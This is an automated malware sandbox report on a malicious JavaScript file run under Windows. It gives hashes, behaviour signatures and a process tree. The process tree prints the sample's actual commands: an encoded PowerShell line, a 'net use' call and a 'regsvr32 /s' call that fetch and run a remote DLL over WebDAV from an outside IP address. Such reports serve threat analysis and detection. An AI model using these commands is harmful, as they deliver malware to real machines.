Analysis
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max time kernel
150s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
13-11-2024 02:38
Static task
static1
Behavioral task
behavioral1
Sample
899a535e31b78c7d75badfbcf9ca19e0e35a70763a3c97ff2db09d3d0dcdad1e.js
Resource
win7-20241023-en
Behavioral task
behavioral2
Sample
899a535e31b78c7d75badfbcf9ca19e0e35a70763a3c97ff2db09d3d0dcdad1e.js
Resource
win10v2004-20241007-en
General
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Target
899a535e31b78c7d75badfbcf9ca19e0e35a70763a3c97ff2db09d3d0dcdad1e.js
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Size
1.2MB
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MD5
efe60dd7bcf2ac31c217672d3e07f2a8
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SHA1
0a2191ac365331ed37acdf727153436d154f2296
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SHA256
899a535e31b78c7d75badfbcf9ca19e0e35a70763a3c97ff2db09d3d0dcdad1e
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SHA512
de1c89f5f2cb8229cc47d37b41c44303de5a47688918d9f007d7b1625259ae683771320f18c938670b3ff32d39b19d5707520ca88eb8aa48a74ce44f645503a0
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SSDEEP
12288:jKO22qmJBFrbgRy/jM6uRrbYCXslYK5UV:jKO2mz9bgsA6uZbYC8J5UV
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation wscript.exe -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
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Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid Process 2428 timeout.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid Process 3800 powershell.exe 3800 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid Process Token: SeDebugPrivilege 3800 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
wscript.exepowershell.execmd.execmd.exedescription pid Process procid_target PID 3876 wrote to memory of 3800 3876 wscript.exe 83 PID 3876 wrote to memory of 3800 3876 wscript.exe 83 PID 3800 wrote to memory of 2428 3800 powershell.exe 85 PID 3800 wrote to memory of 2428 3800 powershell.exe 85 PID 3800 wrote to memory of 3512 3800 powershell.exe 87 PID 3800 wrote to memory of 3512 3800 powershell.exe 87 PID 3512 wrote to memory of 4448 3512 cmd.exe 88 PID 3512 wrote to memory of 4448 3512 cmd.exe 88 PID 3800 wrote to memory of 4516 3800 powershell.exe 89 PID 3800 wrote to memory of 4516 3800 powershell.exe 89 PID 4516 wrote to memory of 1992 4516 cmd.exe 90 PID 4516 wrote to memory of 1992 4516 cmd.exe 90
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\899a535e31b78c7d75badfbcf9ca19e0e35a70763a3c97ff2db09d3d0dcdad1e.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3876 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dABpAG0AZQBvAHUAdAAgADEAOwBjAG0AZAAgAC8AYwAgAG4AZQB0ACAAdQBzAGUAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADcAOQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwBjAG0AZAAgAC8AYwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAzADIAMQA1ADYANAA2ADIAMgAyADcAMQA1ADQALgBkAGwAbAA=2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3800 -
C:\Windows\system32\timeout.exe"C:\Windows\system32\timeout.exe" 13⤵
- Delays execution with timeout.exe
PID:2428
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\3⤵
- Suspicious use of WriteProcessMemory
PID:3512 -
C:\Windows\system32\net.exenet use \\94.159.113.79@8888\davwwwroot\4⤵PID:4448
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\32156462227154.dll3⤵
- Suspicious use of WriteProcessMemory
PID:4516 -
C:\Windows\system32\regsvr32.exeregsvr32 /s \\94.159.113.79@8888\davwwwroot\32156462227154.dll4⤵PID:1992
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82